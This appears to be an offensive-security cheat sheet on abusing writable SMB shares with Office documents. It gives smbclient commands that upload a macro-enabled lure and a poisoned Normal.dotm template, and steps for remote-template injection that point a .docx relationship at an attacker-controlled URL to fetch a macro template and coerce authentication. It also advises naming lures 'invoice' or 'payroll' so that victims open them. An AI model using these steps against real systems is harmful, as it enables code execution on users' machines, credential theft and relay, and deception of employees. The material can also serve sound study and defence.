Office documents stored on a writable share become execution triggers when users open them. The direct form is a macro-enabled document whose VBA runs on open (subject to the user's macro settings). The more insidious form targets templates: Word's Normal.dotm and the Office startup folders hold code and settings loaded on every launch, so poisoning a shared or roaming template runs on each start. And remote-template or external-reference injection makes an otherwise clean document fetch and execute attacker content from a server when it opens, which also coerces authentication.
Routes#
# 1. macro document on the share (runs VBA on open if macros are allowed)
smbclient //<t>/share -U 'user%pass' -c 'put invoice.xlsm'
# 2. poison a shared/roaming template so code runs on every Office launch
# Normal.dotm (Word), or files in the Office STARTUP folder, if share-hosted
smbclient //<t>/profiles -U 'user%pass' -c 'cd Templates; put Normal.dotm'
# 3. remote-template injection: a .docx references an external template URL the
# attacker controls; opening the doc fetches template.dotm (code + auth)
# edit word/_rels/settings.xml.rels Target to http(s)://attacker/template.dotm
Remote-template injection works because an Office Open XML document records the template it is based on as a relationship target; changing that target to an attacker URL makes the client fetch the remote template on open, which can carry a macro and forces the client to request the URL (leaking or relaying authentication if it is UNC/HTTP).
Exploitation notes#
- Macro execution depends on the user's macro policy; template poisoning (
Normal.dotm, STARTUP) is stronger where those are share-hosted because it runs on every launch regardless of per-document prompts. - Remote-template injection doubles as coercion: a UNC or HTTP template target makes the client authenticate to the attacker, combining with signing and relay.
- Name the poisoned document to invite opening (invoice, report, payroll) and place it where the target user works; execution is in that user's context.
- This triggers on open rather than on folder browse; use SCF and LNK coercion for the browse-only case.